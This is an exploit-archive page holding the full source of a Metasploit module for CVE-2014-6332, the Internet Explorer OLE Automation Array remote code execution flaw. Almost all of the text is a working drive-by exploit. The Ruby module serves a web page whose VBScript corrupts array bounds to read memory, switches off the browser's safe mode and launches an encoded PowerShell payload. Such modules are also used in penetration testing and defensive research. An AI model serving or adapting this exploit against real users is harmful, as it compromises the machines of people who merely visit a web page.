Internet Explorer OLE Automation Array Remote Code Execution (msf)



EKU-ID: 4367 CVE: 2014-6332 OSVDB-ID: 114533
Author: Wesley Neelen Published: 2014-11-14 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
  
require 'msf/core'
require 'msf/core/exploit/powershell'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Powershell
  
  def initialize(info={})
    super(update_info(info,
      'Name'           => "Windows OLE Automation Array Remote Code Execution",
      'Description'    => %q{
          This modules exploits the Windows OLE Automation Array Remote Code Execution Vulnerability. 
          Internet MS-14-064, CVE-2014-6332. The vulnerability exists in Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10.  
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'IBM', # Discovery
      'yuange <twitter.com/yuange75>', # PoC
      'Rik van Duijn <twitter.com/rikvduijn>', #Metasploit
          'Wesley Neelen <security[at]forsec.nl>'  #Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2014-6332' ]
        ],
      'Payload'        =>
        {
          'BadChars'        => "\x00",
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC'         => "none"
        },
      'Platform'       => 'win',
      'Targets'        =>  
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "November 12 2014",
      'DefaultTarget'  => 0))
  end
  
  def on_request_uri(cli, request)
    payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true })
    payl.slice! "powershell.exe "
      
    html = <<-EOS
<!doctype html>
  
<html>
  
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
  
<head>
  
</head>
  
<body>
  
  
<SCRIPT LANGUAGE="VBScript">
  
  
function trigger() 
  
On Error Resume Next
  
set shell=createobject("Shell.Application")
  
shell.ShellExecute "powershell.exe", "#{payl}", "", "open", 1
  
end function
  
  
</script>
  
  
<SCRIPT LANGUAGE="VBScript">
  
   
  
dim   aa()
  
dim   ab()
  
dim   a0
  
dim   a1
  
dim   a2
  
dim   a3
  
dim   win9x
  
dim   intVersion
  
dim   rnda
  
dim   funclass
  
dim   myarray
  
  
Begin()
  
  
function Begin()
  
  On Error Resume Next
  
  info=Navigator.UserAgent
  
  
  if(instr(info,"Win64")>0)   then
  
     exit   function
  
  end if
  
  
  if (instr(info,"MSIE")>0)   then 
  
             intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))   
  
  else
  
     exit   function  
  
               
  
  end if
  
  
  win9x=0
  
  
  BeginInit()
  
  If Create()=True Then
  
     myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
  
     myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
  
  
     if(intVersion<4) then
  
         document.write("<br> IE")
  
         document.write(intVersion)
  
         runshellcode()                    
  
     else  
  
          setnotsafemode()
  
     end if
  
  end if
  
end function
  
  
function BeginInit()
  
   Randomize()
  
   redim aa(5)
  
   redim ab(5)
  
   a0=13+17*rnd(6)
  
   a3=7+3*rnd(5)
  
end function
  
  
function Create()
  
  On Error Resume Next
  
  dim i
  
  Create=False
  
  For i = 0 To 400
  
    If Over()=True Then
  
    '   document.write(i)     
  
       Create=True
  
       Exit For
  
    End If 
  
  Next
  
end function
  
  
sub testaa()
  
end sub
  
  
function mydata()
  
    On Error Resume Next
  
     i=testaa
  
     i=null
  
     redim  Preserve aa(a2)  
  
    
  
     ab(0)=0
  
     aa(a1)=i
  
     ab(0)=6.36598737437801E-314
  
  
     aa(a1+2)=myarray
  
     ab(2)=1.74088534731324E-310  
  
     mydata=aa(a1)
  
     redim  Preserve aa(a0)  
  
end function 
  
  
  
function setnotsafemode()
  
    On Error Resume Next
  
    i=mydata()  
  
    i=readmemo(i+8)
  
    i=readmemo(i+16)
  
    j=readmemo(i+&h134)  
  
    for k=0 to &h60 step 4
  
        j=readmemo(i+&h120+k)
  
        if(j=14) then
  
              j=0          
  
              redim  Preserve aa(a2)             
  
     aa(a1+2)(i+&h11c+k)=ab(4)
  
              redim  Preserve aa(a0)  
  
  
     j=0 
  
              j=readmemo(i+&h120+k)   
  
           
  
               Exit for
  
           end if
  
  
    next 
  
    ab(2)=1.69759663316747E-313
  
    trigger() 
  
end function
  
  
function Over()
  
    On Error Resume Next
  
    dim type1,type2,type3
  
    Over=False
  
    a0=a0+a3
  
    a1=a0+2
  
    a2=a0+&h8000000
  
    
  
    redim  Preserve aa(a0) 
  
    redim   ab(a0)     
  
    
  
    redim  Preserve aa(a2)
  
    
  
    type1=1
  
    ab(0)=1.123456789012345678901234567890
  
    aa(a0)=10
  
            
  
    If(IsObject(aa(a1-1)) = False) Then
  
       if(intVersion<4) then
  
           mem=cint(a0+1)*16             
  
           j=vartype(aa(a1-1))
  
           if((j=mem+4) or (j*8=mem+8)) then
  
              if(vartype(aa(a1-1))<>0)  Then    
  
                 If(IsObject(aa(a1)) = False ) Then             
  
                   type1=VarType(aa(a1))
  
                 end if               
  
              end if
  
           else
  
             redim  Preserve aa(a0)
  
             exit  function
  
  
           end if 
  
        else
  
           if(vartype(aa(a1-1))<>0)  Then    
  
              If(IsObject(aa(a1)) = False ) Then
  
                  type1=VarType(aa(a1))
  
              end if               
  
            end if
  
        end if
  
    end if
  
                
  
      
  
    If(type1=&h2f66) Then         
  
          Over=True      
  
    End If  
  
    If(type1=&hB9AD) Then
  
          Over=True
  
          win9x=1
  
    End If  
  
  
    redim  Preserve aa(a0)          
  
          
  
end function
  
  
function ReadMemo(add) 
  
    On Error Resume Next
  
    redim  Preserve aa(a2)  
  
    
  
    ab(0)=0   
  
    aa(a1)=add+4     
  
    ab(0)=1.69759663316747E-313       
  
    ReadMemo=lenb(aa(a1))  
  
     
  
    ab(0)=0    
  
   
  
    redim  Preserve aa(a0)
  
end function
  
  
</script>
  
  
</body>
  
</html>
    EOS
  
    print_status("Sending html")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  
  end
  
end